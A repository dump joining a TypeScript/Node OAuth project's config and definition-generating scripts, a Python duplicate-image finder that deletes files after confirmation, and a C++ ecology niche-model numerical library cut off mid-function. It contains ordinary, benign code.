options: {
authorizationURL: 'http://localhost:4000/oauth2/authorize',
tokenURL: 'http://localhost:4000/oauth2/token',
clientID: 'TEST_ID',
clientSecret: 'TEST_SECRET',
callbackURL: "http://localhost:4000/login"
}
}
};
export = config;
<file_sep>'use strict';
var bluebird = require('bluebird'),
fs = require('fs'),
path = require('path'),
tsconfig = require('./../tsconfig.json'),
walk = require('walk'),
_ = require('lodash');
var srcFolder = path.normalize(__dirname + '/../src/');
var tsconfigPath = path.normalize(__dirname + '/../tsconfig.json');
var files = [];
var defaultFiles = [
'./typings/tsdx.d.ts',
'./custom-definitions/server.d.ts'
]
var walker = walk.walk(srcFolder, {followLinks: true});
walker.on('file', function (root, fileStat, next) {
var filename = fileStat.name;
if (filename.indexOf('.ts', filename.length - '.ts'.length) === -1) {
next();
return;
}
var fullpath = path.resolve(root, fileStat.name);
var splitedPath = fullpath.split('src');
files.push('./src' + splitedPath[1]);
next();
});
walker.on('errors', function (root, nodeStatsArray, next) {
nodeStatsArray.forEach(function (n) {
console.error('[ERROR] ' + n.name)
console.error(n.error.message || (n.error.code + ': ' + n.error.path));
});
next();
}); // plural
walker.on('end', function () {
var allPaths = defaultFiles.concat(files);
tsconfig.files = allPaths;
var content = JSON.stringify(tsconfig, null, 2);
fs.writeFileSync(tsconfigPath, content);
console.log('all done');
process.exit();
});
<file_sep>
# Integrer un module externe JS
## Quand importer un module Javascript (npm) ou Typescript (tsd)
Utilisez tsd si :
* vous avez besoin du typage que peut apporter la librairie Typescript
* la version sous tsd est la version que vous recherchez (tsd est souvent en retard, [definitelytyped.org/tsd](http://definitelytyped.org/tsd/))
Sinon utilisez la version Javascript via npm et un fichier de définition écrit à la main
```
declare module 'module-name' {
var _:any;
export default _;
}
```
Le ``` module-name ``` doit être le même que celui sous NPM.
# Export/Import
## Export
* ``` export default X ``` pour classe/interface/abstract.
* ``` export = X ``` pour les objets JS.
## Import
* ``` import X from 'Y'; ```
<file_sep>declare module 'serve-static' {
var _:any;
export default _;
}<file_sep>/// <reference path="server/bluebird.d.ts" />
/// <reference path="server/body-parser.d.ts" />
/// <reference path="server/cookie-parser.d.ts" />
/// <reference path="server/express.d.ts" />
/// <reference path="server/helmet.d.ts" />
/// <reference path="server/lodash.d.ts" />
/// <reference path="server/mime.d.ts" />
/// <reference path="server/minimist.d.ts" />
/// <reference path="server/oauth2-server.d.ts" />
/// <reference path="server/passport-oauth2.d.ts" />
/// <reference path="server/passport.d.ts" />
/// <reference path="server/serve-favicon.d.ts" />
/// <reference path="server/serve-static.d.ts" />
/// <reference path="server/test.d.ts" />
/// <reference path="server/winston.d.ts" /><file_sep>declare module 'passport-oauth2' {
var _:any;
export default _;
}<file_sep>declare module 'bluebird' {
var _:any;
export default _;
}<file_sep>enum FoodType {Omnivorous, Carnivorous, Herbivore, Insectivorous};
export default FoodType;
<file_sep>import FoodType from './../enums/FoodType';
interface Animal {
age: number;
foodType: FoodType;
}
export default Animal;
<file_sep>'use strict';
var argv = require('minimist')(process.argv.slice(2)),
bluebird = require('bluebird'),
fs = require('fs'),
path = require('path'),
_ = require('lodash');
var definitionFolder = path.normalize(__dirname + '/../custom-definitions/server/');
var allDefinitionFile = path.normalize(__dirname + '/../custom-definitions/server.d.ts');
var template = "declare module 'MODULENAME' { \r\
var _:any;\r\
export default _;\r\
}";
var referenceTemplate = '/// <reference path="server/FILENAME" />';
var moduleNames = argv._;
if (_.isEmpty(moduleNames)) {
console.log('No argument = nothing to do !');
process.exit();
}
var fileCreation = function (modulename, content) {
return new bluebird(function (resolve, reject) {
fs.writeFile(definitionFolder + modulename + '.d.ts', content, function (err) {
if (err) {
reject(err);
return;
}
resolve();
});
});
};
var updateServerDefinitionFile = function () {
return new bluebird(function (resolve, reject) {
fs.readdir(definitionFolder, function (err, files) {
if (err) {
reject(err);
return;
}
var content = _.map(files, function (file) {
return referenceTemplate.replace('FILENAME', file);
}).join('\r');
fs.writeFile(allDefinitionFile, content, function (err) {
if (err) {
reject(err);
return;
}
resolve();
});
})
});
};
var promises = _.map(moduleNames, function (moduleName) {
var content = template.replace('MODULENAME', moduleName);
return fileCreation(moduleName, content);
});
bluebird.all(promises)
.then(function () {
console.log('Definition files created');
return updateServerDefinitionFile();
})
.then(function () {
console.log('server.td.ts updated');
})
.catch(function (err) {
console.log('Error ' + err);
});
|
739813204afcbff71d94ad3971e1c1a69c013773
|
[
"Markdown",
"TypeScript",
"JSON with Comments",
"JavaScript"
] | 26
|
TypeScript
|
jvinai/nodejs-typescript
|
be5d0583c3045db3861f20d9383d5f23d9f11444
|
6f7ff2fe0864a7a6dd334517c614416d6546bfa1
|
refs/heads/master
|
<repo_name>therealscienta/duplicate_files_finder<file_sep>/README.md
# duplicate_files_finder
Original functions found at https://stackoverflow.com/questions/748675/finding-duplicate-files-and-removing-them by user <NAME>.
This script adds additional features and an algorithm to sort out which file is most likely to be source file.
The script currently only look for image filetypes and then sort through candidates to determine
most probable original file.
Usage:
Run script and pass filepath to be scanned for duplicates, e.g.
duplicate_files_finder.py /my/path/to/search
If duplicates are found, a csv-file will be generated with the same name as the script file.
Run the script again (searchpath not needed) to handle duplicates. Options allow user
to print content of file or delete the duplicate files.
<file_sep>/duplicate_files_finder.py
#!/usr/bin/env python
import re
import os
import sys
import csv
import time
import hashlib
import mimetypes
from random import randrange
def ChunkReader(fobj, chunk_size=1024):
"""Generator that reads a file in chunks of bytes"""
while True:
chunk = fobj.read(chunk_size)
if not chunk:
return
yield chunk
def GetHash(filename, first_chunk_only=False, hash=hashlib.sha1):
"""Generate hash for input file"""
hashobj = hash()
file_object = open(filename, 'rb')
if first_chunk_only:
hashobj.update(file_object.read(1024))
else:
for chunk in ChunkReader(file_object):
hashobj.update(chunk)
hashed = hashobj.digest()
file_object.close()
return hashed
def CheckFileType(path):
"""Check mimetype and/or file extension to detect valid video file"""
fileMimeType, encoding = mimetypes.guess_type(path)
fileExtension = path.rsplit('.', 1)
if fileMimeType is None:
if len(fileExtension) >= 2 and fileExtension[1].lower() not in ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'tif', 'svg', 'bmp', 'heif']:
return False
else:
fileMimeType = fileMimeType.split('/', 1)
if fileMimeType[0] != 'image':
return False
return True
def CheckForDuplicates(paths, hash=hashlib.sha1):
"""Main function that search for duplicates and return dictionary of results"""
hashes_by_size = {}
hashes_on_1k = {}
# Dictionary that use hash as key and all files with
# the same hash as values
hashes_full = {}
size_duplicates = 0
sorted_dict = {}
path_list = [paths]
for path in path_list:
for dirpath, dirnames, filenames in os.walk(path):
for filename in filenames:
full_path = os.path.join(dirpath, filename)
try:
# if the target is a symlink (soft one), this will
# dereference it - change the value to the actual target file
full_path = os.path.realpath(full_path)
file_size = os.path.getsize(full_path)
except (OSError,):
# not accessible (permissions, etc) - pass on
continue
# Only use file of specified filetype
if not CheckFileType(full_path):
continue
duplicate = hashes_by_size.get(file_size)
if duplicate:
hashes_by_size[file_size].append(full_path)
else:
hashes_by_size[file_size] = [] # create the list for this file size
hashes_by_size[file_size].append(full_path)
# For all files with the same file size, get their hash on the 1st 1024 bytes
for __, files in hashes_by_size.items():
if len(files) < 2:
continue # this file size is unique, no need to spend cpu cycles on it
for filename in files:
try:
small_hash = GetHash(filename, first_chunk_only=True)
except (OSError,):
# the file access might've changed till the exec point got here
continue
duplicate = hashes_on_1k.get(small_hash)
if duplicate:
hashes_on_1k[small_hash].append(filename)
else:
hashes_on_1k[small_hash] = [] # create the list for this 1k hash
hashes_on_1k[small_hash].append(filename)
# For all files with the hash on the 1st 1024 bytes, get their hash on the full file - collisions will be duplicates
for __, files in hashes_on_1k.items():
if len(files) < 2:
continue # this hash of fist 1k file bytes is unique, no need to spend cpu cycles on it
for filename in files:
try:
full_hash = GetHash(filename, first_chunk_only=False)
except (OSError,):
# the file access might've changed till the exec point got here
continue
# If duplicate is found, print out and add files to hashed list
duplicate = hashes_full.get(full_hash)
if duplicate:
hashes_full[full_hash].append(filename)
else:
hashes_full[full_hash] = [filename]
# Sort through dictionary to determine probable original files
for items in hashes_full.keys():
# List of files that are probably not original, will be appended
# to sorted_dict with original filename as key
dup_list = []
while len(hashes_full[items]) > 0:
# When the list only has one item left, that is used
# as the original file
if len(hashes_full[items]) == 1:
sorted_dict[hashes_full[items][0]] = dup_list
hashes_full[items].pop()
else:
# X and Y are the files that will be compared,
# the most probable candidate remains in the list
x = hashes_full[items][0]
y = hashes_full[items][1]
size_duplicates += os.path.getsize(x)
fileage = round(time.time() - os.path.getmtime(x))
dupage = round(time.time() - os.path.getmtime(y))
# If "copy" in filename, dump item to duplicate list
if re.search("(C|c)(opy|OPY)",x) or re.search("(C|c)(opy|OPY)",y):
if re.search("(C|c)(opy|OPY)",x) and not re.search("(C|c)(opy|OPY)",y):
dup_list.append(x)
hashes_full[items].remove(x)
continue
elif re.search("(C|c)(opy|OPY)",y) and not re.search("(C|c)(opy|OPY)",x):
dup_list.append(y)
hashes_full[items].remove(y)
continue
# If (n) in filename, dump item to duplicate list
if re.search("\(\d+\)",x) or re.search("\(\d+\)",y):
if re.search("\(\d+\)",x) and not re.search("\(\d+\)",y):
dup_list.append(x)
hashes_full[items].remove(x)
continue
elif re.search("\(\d+\)",y) and not re.search("\(\d+\)",x):
dup_list.append(y)
hashes_full[items].remove(y)
continue
# If IMG in filename, dump item to duplicate list
if re.search("(I|i)(mg|MG)",y) or re.search("(I|i)(mg|MG)",x):
if re.search("(I|i)(mg|MG)",x) and not re.search("(I|i)(mg|MG)",y):
dup_list.append(y)
hashes_full[items].remove(y)
continue
elif re.search("(I|i)(mg|MG)",y) and not re.search("(I|i)(mg|MG)",x):
dup_list.append(x)
hashes_full[items].remove(x)
continue
# If e.g. 20190515 in filename, dump item to duplicate list
if re.search("20\d{2}\d{4}",y) and not re.search("20\d{2}\d{4}",x):
if re.search("20\d{2}\d{4}",x) and not re.search("20\d{2}\d{4}",y):
dup_list.append(x)
hashes_full[items].remove(x)
continue
elif re.search("20\d{2}\d{4}",y) and not re.search("20\d{2}\d{4}",x):
dup_list.append(y)
hashes_full[items].remove(y)
continue
# If no other condition apply, use oldest file as original
if fileage < dupage:
dup_list.append(x)
hashes_full[items].remove(x)
else:
dup_list.append(y)
hashes_full[items].remove(y)
if len(sorted_dict) > 0:
print(f"\nFound duplicates for a total of {round(size_duplicates/1024/1024,1)}MB. Results was printed to CSV-file.")
return sorted_dict
### Main script execution ###
script_path = sys.argv[0][:-2]
csv_path = script_path + "csv"
# If there exists a csv-file, ask if user want to delete duplicates from file
if os.path.isfile(csv_path) is True and os.path.getsize(csv_path) != 0:
print("CSV file found.")
while True:
print("""
What do you want to do with the file?
[1] Print content
[2] Delete duplicate files
[3] Exit
""")
# print()
answer = str(input("Answer(1-3): ")).strip()
if answer == "3":
sys.exit()
if answer == "1" or answer == "2":
break
else:
print("Please give a valid answer.")
# Make sure the user really wanted to delete
if answer == "2":
print("Are you sure you want to delete failes? Type \"yes\" to continue...\n")
second_answer = input("Answer: ")
if second_answer.lower() != "yes":
print("Exiting")
sys.exit()
# Print text to screen with delay
text = "Analysing content.....\n"
for c in text:
sys.stdout.write(c)
sys.stdout.flush()
if c == ".":
seconds = "0." + str(randrange(2, 5, 1))
seconds = float(seconds)
time.sleep(seconds)
item_count = 0
lines_count = 0
failed_deletes = []
with open(csv_path,'r') as csvread:
csvreader = csv.reader(csvread, delimiter=";")
for line in csvreader:
lines_count += 1
if not lines_count == 1:
path = line[1]
item_count += 1
# Print items in csv-file
if answer == "1":
print(f"{line[0]};{line[1]}")
# Delete duplicate failes, i.e. files in second column
# in csv-file, if the exist
elif answer == "2":
print(f"Trying to delete {path}")
try:
if os.path.isfile(path):
os.remove(path)
else:
raise OSError("File does not exist")
except:
failed_deletes.append(path)
print(f"ERROR: Could not locate file: {path}")
if answer == "2":
# Delete csv-file when done
os.remove(csv_path)
print(f"Attempted to delete {item_count} duplicates from list. {len(failed_deletes)} files failed to delete.")
# If any files failed to delete, recreate csv-file
if failed_deletes:
with open(csv_path,'w') as csvfile:
csvwrite = csv.writer(csvfile, delimiter=";")
for value in failed_deletes:
row_to_write = ["failed", value]
csvwrite.writerow(row_to_write)
print("Files that could not be deleted are kept in csv-file")
# Exit when done with csv file
sys.exit()
else:
if os.path.isfile(csv_path) and os.path.getsize(csv_path) == 0:
os.remove(csv_path)
print("No CSV file found.")
# Check if user provided a path to search
if not len(sys.argv) > 1:
print("Please pass the path to search for duplicates as parameter to the script")
sys.exit()
# Check for passed parameters
if os.path.exists(sys.argv[1]):
print("Searching for duplicates...")
dict_of_duplicates = CheckForDuplicates(sys.argv[1])
# Check if any duplicates were found
if len(dict_of_duplicates) > 0:
topField = ["filename", "duplicate"]
filePath = sys.argv[0][:-2] + "csv"
# Create csv-file with files and duplicates
with open(filePath,'w') as csvfile:
csvwriter = csv.writer(csvfile, delimiter=";")
csvwriter.writerow(topField)
for key in dict_of_duplicates.keys():
for value in dict_of_duplicates[key]:
row_to_write = [key, value]
csvwriter.writerow(row_to_write)
else:
print("No duplicates were found.")
sys.exit()
else:
print("The provided path is invalid.")
|
8e05efd5222e280ccc61acc0aa9ad7f8bd1be148
|
[
"Markdown",
"Python"
] | 2
|
Markdown
|
therealscienta/duplicate_files_finder
|
d2cf3cd336b35a4b5299f53c1a1208451f35a75d
|
394cb6b411ddb909be00fdf1979336170f396cae
|
refs/heads/master
|
<repo_name>hwchen/diff-lists<file_sep>/src/main.rs
//! Takes two lists (Currently only newline delimited), and reports which members are in one list
//! but not the other.
//!
//! Does not require that the lists have unique members.
use anyhow::{Context, Result};
use std::collections::HashSet;
use std::fs;
fn main() -> Result<()> {
let list_1_path = std::env::args().nth(1).context("Missing list 1")?;
let list_2_path = std::env::args().nth(2).context("Missing list 2")?;
let list_1 = fs::read_to_string(list_1_path).context("Could not read list 1")?;
let list_2 = fs::read_to_string(list_2_path).context("Could not read list 2")?;
let set_1: HashSet<_> = list_1.lines().collect();
let set_2: HashSet<_> = list_2.lines().collect();
let only_in_set_1 = set_1.difference(&set_2);
let only_in_set_2 = set_2.difference(&set_1);
println!("Only in list 1: {:?}", only_in_set_1);
println!("Only in list 2: {:?}", only_in_set_2);
Ok(())
}
|
c67adc5dadff839e0023df10075d7a23b4164b1f
|
[
"Rust"
] | 1
|
Rust
|
hwchen/diff-lists
|
7c601cfd8586828b3353212c24ec5fffe318c619
|
5818b7cfcb525b576305bf1db9cf0ebed3bd7d33
|
refs/heads/master
|
<file_sep># Makefile for 'aniche'.
#
# Type 'make' or 'make aniche' to create the executable.
# Type 'make clean' to delete all temporaries.
#
CC = g++
# build target specs
CFLAGS = -g -Wall
OUT_DIR = .
LIBS =
# first target entry is the target invoked when typing 'make'
default: aniche
aniche: $(OUT_DIR)/dws_getopt.cpp.o $(OUT_DIR)/dws_numerical.cpp.o $(OUT_DIR)/main.cpp.o
$(CC) $(CFLAGS) -o aniche $(OUT_DIR)/dws_getopt.cpp.o $(OUT_DIR)/dws_numerical.cpp.o $(OUT_DIR)/main.cpp.o $(LIBS)
$(OUT_DIR)/dws_getopt.cpp.o: dws_getopt.cpp dws_getopt.h
$(CC) $(CFLAGS) -o $(OUT_DIR)/dws_getopt.cpp.o -c dws_getopt.cpp
$(OUT_DIR)/dws_numerical.cpp.o: dws_numerical.cpp dws_numerical.h \
dws_math.h
$(CC) $(CFLAGS) -o $(OUT_DIR)/dws_numerical.cpp.o -c dws_numerical.cpp
$(OUT_DIR)/main.cpp.o: main.cpp dws_getopt.h dws_numerical.h
$(CC) $(CFLAGS) -o $(OUT_DIR)/main.cpp.o -c main.cpp
clean:
rm -f aniche $(OUT_DIR)/*.o
profile:
gprof aniche > profile.txt; ./gprof2dot.py profile.txt | dot -Tpng -o profile.png
<file_sep>/******************************************************************************/
// FILE NAME:dws_numerical.h
// VERSION: 1.1.0
// FUNCTION: <NAME>'s numerical function library
//------------------------------------------------------------------------------
// Copyright © 2003
//------------------------------------------------------------------------------
// AUTHOR/S: <NAME>
//------------------------------------------------------------------------------
// CREATION DATE: 19/04/03 23:56
//--------+------+---------------------------------------------+----------------
// VER | DATE | CHANGES
//--------+------+---------------------------------------------+----------------
// 031103 Added rounding and sig digits functions
/******************************************************************************/
//////////////////////////////////////////////////////////////////////////////
// GNU
// This library is free software; you can redistribute it and/or modify it
// under the terms of the GNU Library General Public License as published
// by the Free Software Foundation; either version 2 of the License, or
// (at your option) any later version. This library is distributed in the
// hope that it will be useful, but WITHOUT ANY WARRANTY; without even the
// implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR
// PURPOSE. See the GNU Library General Public License for more details.
// You should have received a copy of the GNU Library General Public
// License along with this library; if not, write to the Free Software
// Foundation, 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
//////////////////////////////////////////////////////////////////////////////
/*!
* \file
* The dws_numerical libary provides a set of non-templated mathematical
* functions. Many of these functions are modeled after those in <em> Numerical
* Recipes in C</em>.
*/
#ifndef _DWS_NUMERICAL_H
#define _DWS_NUMERICAL_H
#include <limits>
#include <iterator>
#include <stdexcept>
namespace DWS
{
/*!
*\defgroup dws_numerical DWS Numerical Library
* @{
*/
// Exception classes
// Class: convergence_error
// ------------------------
/*!
* Used when iterations fail to converge in numerical functions.
*/
class convergence_error: public std::runtime_error
{
public:
convergence_error(std::string w)
: std::runtime_error(w)
{}
};
// type definitions
typedef double REAL_TYPE; // can change to float
// constants:
const REAL_TYPE EPS(std::numeric_limits<REAL_TYPE>::epsilon());
const REAL_TYPE REAL_MIN(std::numeric_limits<REAL_TYPE>::min());
const REAL_TYPE PI(3.14159265358979323846);
const REAL_TYPE E(2.718281828459045235360);
// Library functions
void SetMAXIT(int it); //!< Sets maximum iterations for iterative functions.
// Special Mathematical functions
REAL_TYPE betai(REAL_TYPE a, REAL_TYPE b, REAL_TYPE x) throw(std::invalid_argument);//!< Incomplete Beta function (Numerical recipes p. 227)
REAL_TYPE gammln(REAL_TYPE x); //!< Gamma fctn (Num. Rec. p. 214)
REAL_TYPE gammp(REAL_TYPE a, REAL_TYPE x) throw(std::invalid_argument, convergence_error); //!< Incomplete Gamma Function (Num. Rec. p. 218)
REAL_TYPE erff(REAL_TYPE x); //!< Error function (erf(x)) Num Rec. p 220
REAL_TYPE factrl(int n); //!< Factorial: returns n! as floating pt num
REAL_TYPE bico(int n, int k); //!< Binomial coefficient: returns binomial coefficient as floating pt num
REAL_TYPE factln(int n); //!< Natural log: returns ln(n!)
/*! \brief Probability density function evaluated at \a distance.
*
* Returns Gaussian probability function according to distance from mode
* (\a distance: d) and standard deviation (\a sd: s). Function returns
* \f[ \frac{e^{\left( -d^2/2s^2\right)}}{\sqrt{2\pi}} \f]
*/
REAL_TYPE normal_probability(REAL_TYPE distance, REAL_TYPE sd);
/*! \brief Rounds a number to a specified number of digits.
*
* doValue is the number you want to round.
* Num_digits specifies the number of digits to which you want to round number.
* If num_digits is greater than 0, then number is rounded to the specified number of decimal places.
* If num_digits is 0, then number is rounded to the nearest integer.
* Examples
* precision(2.15, 1) equals 2.2
* precision(2.149, 1) equals 2.1
* precision(-1.475, 2) equals -1.48
*/
REAL_TYPE precision(REAL_TYPE doValue, int nPrecision);
/*! \brief Round to significant digits.
*
* Examples:
* sig_fig(1.23456, 2) equals 1.2
* sig_fig(1.23456e-10, 2) equals 1.2e-10
* sig_fig(1.23456, 5) equals 1.2346
* sig_fig(1.23456e-10, 5) equals 1.2346e-10
* sig_fig(0.000123456, 2) equals 0.00012
*/
REAL_TYPE sig_fig(REAL_TYPE x, int sigFigs) throw(std::invalid_argument);
/*! \brief Compare two numbers to sig digits.
*
* Returns TRUE if x and y are equal to sigFigs significant
* digits.
*/
REAL_TYPE compare_sig(REAL_TYPE x, REAL_TYPE y, int sigFigs)throw(std::invalid_argument);
///////////////////////////////////////////////////////////////////////////////
// Classes and structs
///////////////////////////////////////////////////////////////////////////////
// Struct: QuadraticT
// ---------------
/*!
* class for solving quadratic equations. the struct holds a, b and c
* parameters to a quadratic function.
* The Solve() method fills \a first and \a second with the two
* solutions to the quadratic equation.
*/
struct QuadraticT
{
REAL_TYPE _a, _b, _c;
QuadraticT() {_a = _b = _c = 0;}
/*!
* Fills \a first and \a second with two roots of quadratic
* function
*/
void Solve(REAL_TYPE& first, REAL_TYPE& second ) const;
/*!
* Returns derivative of the quadratic function.
*/
REAL_TYPE DSolve() const;
};
/*@}*/
}; /* namespace DWS */
#endif
// _DWS_MATH_H
<file_sep>Code for Schwilk and Ackerly 2005
=================================
This repository hosts the code for both the simulation model (kniche) and numerical model (aniche) presented in
- Schwilk, <NAME>. and <NAME>. 2005. Limiting similarity and functional diversity along environmental gradients. *Ecology Letters* 8:272-281.
<file_sep>#!/usr/bin/python
# script to produce input for a-niche
# example use: J-slice.py | a-niche -s
# Parameters
J = range(2341, 3003,2)
E = [1.0,]
NB = [0.05,]
if __name__ == "__main__" :
""""Main program:just produces an input stream: one
paramter list per line."""
for j in J:
for e in E:
# for db in DB:
for nb in NB:
print "%d %f %f %d\n" % (j, e, nb, j/20.0),
<file_sep>#!/bin/python
# E-J.py
#!/usr/bin/python
# script to produce input for a-niche
# example use: E-J.py | a-niche -s
# Parameters
J = [100, 200, 500, 1000, 1500, 2000, 2500]
E = [0.01, 0.1, 0.2, 0.5, 1.0, 1.5, 2.0, 2.5]
NB = [0.05,]
if __name__ == "__main__" :
"Produces parameter lists for a-niche-0.3"
for j in J:
for e in E:
# for db in DB:
for nb in NB:
db = j/20 # scale db to J
print "%d %f %f %d" % (j, e, nb, db)
<file_sep>/******************************************************************************/
// FILE NAME:dws_numerical.cpp
// VERSION: 1.0.0
// FUNCTION: <NAME>'s numerical function library
// REMARKS:
//----------------------------------------------------------------------------*/
// Copyright © 2003
/*----------------------------------------------------------------------------*/
// AUTHOR/S: <NAME> */
//----------------------------------------------------------------------------*/
// CREATION DATE: 020830
//--------+------+---------------------------------------------+------------------*/
// VER | DATE | CHANGES */
//--------+------+---------------------------------------------+------------------*/
// 1.0.0 030418 These functions were taken from dws_math.h and put here.
// I made some minor changes to remove dependency on dws_math
// template library. Now dws_math and dws_numerical are
// independent.
/******************************************************************************/
#include "dws_numerical.h"
#include "dws_math.h"
//#include "dws_random.h"
#include <cmath>
#include <iostream>
#include <assert.h>
namespace DWS{
// Static constants
static int MAXIT(100);
void SetMAXIT(int it) { MAXIT=it; }
// local static functions
REAL_TYPE square(REAL_TYPE a);
REAL_TYPE betacf(REAL_TYPE a, REAL_TYPE b, REAL_TYPE x) throw(convergence_error);
void gser(REAL_TYPE *gamser, REAL_TYPE a, REAL_TYPE x, REAL_TYPE *gln) throw(convergence_error); // Num Rec. p. 218.
void gcf(REAL_TYPE *gammcf, REAL_TYPE a, REAL_TYPE x, REAL_TYPE *gln) throw(convergence_error); // Numerical recipes p. 219
/******************************************************************************
* Public Functions
******************************************************************************/
// Function: gammln(x)
//
REAL_TYPE gammln(REAL_TYPE xx)
{
double x,y,tmp,ser;
static double cof[6] =
{
76.18009172947146,-86.50532032941677,24.01409824083091,
-1.231739572450155, 0.1208650973866179e-2,-0.5395239384953e-5
};
int j;
y=x=xx;
tmp=x+5.5;
tmp -= (x+0.5)*std::log(tmp);
ser=1.000000000190015;
for(j=0;j<=5;j++) ser+=cof[j]/++y;
return -tmp+std::log(2.5066282746310005*ser/x);
}
// Function: gammp(a,x)
//
REAL_TYPE gammp(REAL_TYPE a, REAL_TYPE x) throw(std::invalid_argument, convergence_error)
{
REAL_TYPE gamser, gammcf, gln;
if((x<0.0||a<=0.0)) throw(std::invalid_argument(std::string("gammp():x must be >= 0 and a must be > 0")));
if(x<(a+1.0))
{
gser(&gamser,a,x,&gln);
return gamser;
}
else
{
gcf(&gammcf,a,x,&gln);
return 1.0-gammcf;
}
}
// Function: gammq(a,x)
//
REAL_TYPE gammq(REAL_TYPE a, REAL_TYPE x)
{
REAL_TYPE gamser, gammcf, gln;
if((x<0.0||a<=0.0)) throw(std::invalid_argument(std::string("gammp():x must be >= 0 and a must be > 0")));
if(x<(a+1.0))
{
gser(&gamser,a,x,&gln);
return 1.0-gamser;
}
else
{
gcf(&gammcf,a,x,&gln);
return gammcf;
}
}
/* Incomplete beta function
* ------------------------
* Numerical Recipes pg 227
*/
REAL_TYPE betai(REAL_TYPE a, REAL_TYPE b, REAL_TYPE x) throw(std::invalid_argument)
{
REAL_TYPE bt;
if(x<0.00||x>1.00) throw(std::invalid_argument(std::string("betai():x must be between 0.0 and 1.0")));
if(x==0.0 || x==1.0) bt=0.0;
else bt=std::exp(gammln(a+b)-gammln(a)-gammln(b)+a*std::log(x)+b*std::log(1.0-x));
if(x< (a+1.0)/(a+b+2.0))
{
return (bt*betacf(a,b,x)/a);
}
else
{
return(1.0-bt*betacf(b,a,1.0-x)/b);
}
}
REAL_TYPE erff(REAL_TYPE x)
{
return x<0.0?1.0+gammp(0.5,x*x):gammq(0.5,x*x);
}
/* function: factrl(int n)
* ------------------------
* Numerical Recipes p. 214
*/
REAL_TYPE factrl(int n)
{
static int ntop=4;
static REAL_TYPE a[33]={1.0,1.0,2.0,6.0,24.0};
int j;
if(n<0) throw std::invalid_argument("negative factorial in routine factrl");
if(n>32) return std::exp(gammln(n+1.0));
while(ntop<n)
{
j=ntop++;
a[ntop]=a[j]*ntop;
}
return a[n];
}
/* function bico(int n, int k)
* ----------------------------
* Binomial coefficient
*/
REAL_TYPE bico(int n, int k)
{
return std::floor(0.5+std::exp(factln(n)-factln(k)-factln(n-k)));
}
// function: factln
// ----------------
REAL_TYPE factln(int n)
{
static REAL_TYPE a[101];
if (n<0) throw std::invalid_argument("Negative factorial in function factln, dwsmath");
if(n<=1) return 0.0;
if (n<= 100) return a[n]?a[n]:(a[n]=gammln(n+1.0));
else return gammln(n+1.0); // out of range table
}
// function: normal_probability
// ----------------------------
REAL_TYPE normal_probability(REAL_TYPE distance, REAL_TYPE sd)
{
static const double SQRT2PI(2.5066282746310005024147107274575);
double twoSDSqr = square(2.0*sd);
return (std::pow(E, - square(distance) / twoSDSqr) / SQRT2PI ); //
}
// function: precision
// -------------------
REAL_TYPE precision(REAL_TYPE doValue, int nPrecision)
{
static const REAL_TYPE doBase = 10.0;
REAL_TYPE doComplete5, doComplete5i;
doComplete5 = doValue * std::pow(doBase, (REAL_TYPE) (nPrecision + 1));
if(doValue < 0.0)
doComplete5 -= 5.0;
else
doComplete5 += 5.0;
doComplete5 /= doBase;
std::modf(doComplete5, &doComplete5i);
return doComplete5i / std::pow(doBase, (REAL_TYPE) nPrecision);
}
// function: sig_fig
// -------------------
REAL_TYPE sig_fig(REAL_TYPE x, int sigFigs) throw(std::invalid_argument)
{
if(sigFigs <= 0) throw(std::invalid_argument("sig_fig(): sigFigs must be greater than 0."));
int sign;
if(x < 0.0)
sign = -1;
else
sign = 1;
x = std::abs(x);
REAL_TYPE powers = std::pow(10.0, std::floor(std::log10(x)) + 1.0);
return sign * precision(x / powers, sigFigs) * powers;
}
// function: compare_sig
// ---------------------
REAL_TYPE compare_sig(REAL_TYPE x, REAL_TYPE y, int sigFigs) throw(std::invalid_argument)
{
return (std::abs(sig_fig(x,sigFigs) - sig_fig(y, sigFigs)) < DWS::EPS);
}
///////////////////////////////////////////////////////////////////////////////
// Classes
///////////////////////////////////////////////////////////////////////////////
void QuadraticT::Solve(REAL_TYPE& first, REAL_TYPE& second ) const
{
REAL_TYPE root = std::sqrt(_b*_b-4*_a*_c)/2*_a;
first = -_b+ root;
second = -_b-root;
}
REAL_TYPE QuadraticT::DSolve() const
{
return(_b/(-2.0*_a));
}
///////////////////////////////////////////////////////////////////////////////
// Static functions
///////////////////////////////////////////////////////////////////////////////
inline REAL_TYPE square(REAL_TYPE a)
{
return a*a;
}
// Num Rec. p. 218.
// Returns incomplete gamma fctn P(a,x) evaluated by its series representation gamser
void gser(REAL_TYPE *gamser, REAL_TYPE a, REAL_TYPE x, REAL_TYPE *gln) throw(convergence_error)
{
REAL_TYPE sum,del,ap;
assert(x>=0.0);
*gln=gammln(a);
if(x<=0.0)
{
*gamser=0.0;
return;
}
else
{
ap=a;
del=sum=1.0/a;
for(int n=1;n<=MAXIT;n++)
{
++ap;
del *= x/ap;
if(std::abs(del) < std::abs(sum)*EPS)
{
*gamser=sum*std::exp(-x+a*std::log(x)-(*gln));
return;
}
}
throw(DWS::convergence_error(std::string("a too large, MAXIT too small in routine gser")));
}
}
/* Function: gcf
* -------------
* Numerical recipes p. 219
* Returns Incomplete gamma fctn Q(a,x) evaluated by it's continued
* fraction representation as gammcf
*/
void gcf(REAL_TYPE *gammcf, REAL_TYPE a, REAL_TYPE x, REAL_TYPE *gln) throw(convergence_error)
{
int i;
REAL_TYPE an,b,c,d,del,h;
*gln=gammln(a);
b=x+1.0-a;
c=1.0/REAL_MIN;
d=1.0/b;
h=d;
for(i=1;i<=MAXIT;i++)
{
an=-i*(i-a);
b+=2.0;
d=an*d+b;
if(std::abs(d)<REAL_MIN) d =REAL_MIN;
c=b+an/c;
if(std::abs(c) < REAL_MIN) c=REAL_MIN;
d=1.0/d;
del=d*c;
h*=del;
if(std::abs(del-1.0) < EPS) break;
}
if(i>MAXIT) throw(DWS::convergence_error("a too large, MAXIT too small in routine gcf"));
*gammcf=std::exp(-x+a*std::log(x)-(*gln))*h;
}
/* Function: betacf
* ----------------
* Used by betai. evaluates continued fractin for incomplete beta function by modified
* Lentz's method.
*/
REAL_TYPE betacf(REAL_TYPE a, REAL_TYPE b, REAL_TYPE x) throw(convergence_error)
{
int m,m2;
REAL_TYPE h, aa,c,d, del,qab, qam, qap;
qab=a+b;
qap=a+1.0;
qam=a-1.0;
c=1.0;
d = 1.0-qab*x/qap;
if(std::abs(d) < REAL_MIN) d=REAL_MIN;
